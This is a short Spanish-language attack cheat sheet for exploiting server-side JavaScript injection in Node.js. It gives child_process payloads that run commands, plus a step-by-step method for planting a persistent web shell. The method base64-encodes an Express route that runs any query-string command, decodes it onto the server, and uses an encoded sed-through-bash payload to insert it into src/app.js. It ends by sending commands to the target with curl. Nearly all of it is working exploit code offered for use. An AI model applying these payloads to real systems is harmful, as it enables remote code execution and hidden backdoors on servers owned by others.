Node.js

Salida de comando por consola

console.log(require('child_process').execSync('id').toString());
console.log(require("child_process").execSync("ls").toString());

El uso de console.log no será de utilidad en un escenario de ataque real, sino únicamente para fines de depuración local, ya que no se tendrá acceso a la consola del backend.

Creación de archivo

require("child_process").execSync("touch pwned");

Web shell

Mediante modificación de archivo de aplicación

1) Web shell a base64.

echo -n 'app.get("/api/cmd", (req, res) => {
  const cmd = require("child_process").execSync(req.query.cmd).toString();
  res.send(cmd);
});' | base64 -w0

YXBwLmdldCgiL2FwaS9jbWQiLCAocmVxLCByZXMpID0+IHsKICBjb25zdCBjbWQgPSByZXF1aXJlKCJjaGlsZF9wcm9jZXNzIikuZXhlY1N5bmMocmVxLnF1ZXJ5LmNtZCkudG9TdHJpbmcoKTsKICByZXMuc2VuZChjbWQpOwp9KTs=

2) Utilizar la inyección de comandos para decodificar la web shell y guardarla en webshell.txt.

require('child_process').execSync('echo YXBwLmdldCgiL2FwaS9j... | base64 --decode > webshell.txt');

3) Generación de payload en base64 que modifica app.js para insertar la web shell.

echo "sed -i \"/app.use((req, res, next) => {/e cat webshell.txt\" src/app.js" | base64 -w0

c2VkIC1pICIvYXBwLnVzZSgocmVxLCByZXMsIG5leHQpID0+IHsvZSBjYXQgd2Vic2hlbGwudHh0IiBzcmMvYXBwLmpzCg==

4) Utilizar la inyección de comandos para decodificar el payload y modificar app.js.

require('child_process').execSync('echo c2VkIC1pICIvYXBwLnVz... | base64 -d | bash');

5) Ejecución de comandos a traves de la webshell.

curl http://<target>/api/cmd?cmd=id